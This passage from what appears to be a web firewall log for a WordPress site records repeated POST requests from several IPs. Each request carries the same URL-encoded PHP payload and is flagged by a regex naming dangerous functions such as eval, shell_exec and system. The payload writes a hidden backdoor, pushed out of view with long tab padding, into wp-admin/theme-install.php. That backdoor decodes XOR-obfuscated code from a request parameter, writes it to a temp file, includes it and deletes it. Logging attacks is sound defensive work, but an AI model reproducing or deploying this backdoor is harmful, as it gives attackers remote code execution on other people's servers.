20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:52:44","103.143.207.18","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> WX:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/theme-install.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx66%255Cx61c%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61c%2522%255D%2529%2529%257B%2520%2524bind%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61c%2522%255D%2529%253B%2520%2524factor%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524bind%2529%2520as%2520%2524char%2529%257B%2524factor%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%25202%2529%253B%257D%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520while%2520%2528%2524object%2520%253D%2520array_shift%2528%2524component%2529%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524object%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524object%2529%2529%2520%257B%2520%2524flag%2520%253D%2520sprintf%2528%2522%2525s\/.tkn%2522%252C%2520%2524object%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524flag%252C%2520%2524factor%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524flag%253B%2520%2540unlink%2528%2524flag%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\ncontent-length:3842\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvI1tvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\n\nWX=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/theme-install.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx66%255Cx61c%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61c%2522%255D%2529%2529%257B%2520%2524bind%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61c%2522%255D%2529%253B%2520%2524factor%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524bind%2529%2520as%2520%2524char%2529%257B%2524factor%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%25202%2529%253B%257D%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520while%2520%2528%2524object%2520%253D%2520array_shift%2528%2524component%2529%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524object%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524object%2529%2529%2520%257B%2520%2524flag%2520%253D%2520sprintf%2528%2522%2525s\/.tkn%2522%252C%2520%2524object%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524flag%252C%2520%2524factor%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524flag%253B%2520%2540unlink%2528%2524flag%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:52:57","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> zC:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/theme-install.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx66%255Cx61c%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61c%2522%255D%2529%2529%257B%2520%2524bind%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61c%2522%255D%2529%253B%2520%2524factor%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524bind%2529%2520as%2520%2524char%2529%257B%2524factor%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%25202%2529%253B%257D%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520while%2520%2528%2524object%2520%253D%2520array_shift%2528%2524component%2529%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524object%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524object%2529%2529%2520%257B%2520%2524flag%2520%253D%2520sprintf%2528%2522%2525s\/.tkn%2522%252C%2520%2524object%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524flag%252C%2520%2524factor%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524flag%253B%2520%2540unlink%2528%2524flag%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\ncontent-length:3842\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrxZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\n\nzC=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/theme-install.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx66%255Cx61c%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61c%2522%255D%2529%2529%257B%2520%2524bind%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61c%2522%255D%2529%253B%2520%2524factor%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524bind%2529%2520as%2520%2524char%2529%257B%2524factor%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%25202%2529%253B%257D%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520while%2520%2528%2524object%2520%253D%2520array_shift%2528%2524component%2529%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524object%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524object%2529%2529%2520%257B%2520%2524flag%2520%253D%2520sprintf%2528%2522%2525s\/.tkn%2522%252C%2520%2524object%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524flag%252C%2520%2524factor%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524flag%253B%2520%2540unlink%2528%2524flag%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:53:00","192.3.12.164","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> rd:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/theme-install.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx66%255Cx61c%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61c%2522%255D%2529%2529%257B%2520%2524bind%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61c%2522%255D%2529%253B%2520%2524factor%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524bind%2529%2520as%2520%2524char%2529%257B%2524factor%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%25202%2529%253B%257D%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520while%2520%2528%2524object%2520%253D%2520array_shift%2528%2524component%2529%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524object%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524object%2529%2529%2520%257B%2520%2524flag%2520%253D%2520sprintf%2528%2522%2525s\/.tkn%2522%252C%2520%2524object%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524flag%252C%2520%2524factor%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524flag%253B%2520%2540unlink%2528%2524flag%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\ncontent-length:3842\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpzDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\n\nrd=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/theme-install.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx66%255Cx61c%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61c%2522%255D%2529%2529%257B%2520%2524bind%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61c%2522%255D%2529%253B%2520%2524factor%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524bind%2529%2520as%2520%2524char%2529%257B%2524factor%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%25202%2529%253B%257D%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520while%2520%2528%2524object%2520%253D%2520array_shift%2528%2524component%2529%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524object%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524object%2529%2529%2520%257B%2520%2524flag%2520%253D%2520sprintf%2528%2522%2525s\/.tkn%2522%252C%2520%2524object%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524flag%252C%2520%2524factor%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524flag%253B%2520%2540unlink%2528%2524flag%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:53:02","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> qd:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/theme-install.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx66%255Cx61c%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61c%2522%255D%2529%2529%257B%2520%2524bind%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61c%2522%255D%2529%253B%2520%2524factor%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524bind%2529%2520as%2520%2524char%2529%257B%2524factor%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%25202%2529%253B%257D%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520while%2520%2528%2524object%2520%253D%2520array_shift%2528%2524component%2529%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524object%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524object%2529%2529%2520%257B%2520%2524flag%2520%253D%2520sprintf%2528%2522%2525s\/.tkn%2522%252C%2520%2524object%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524flag%252C%2520%2524factor%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524flag%253B%2520%2540unlink%2528%2524flag%2529%253B%2520exit%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%2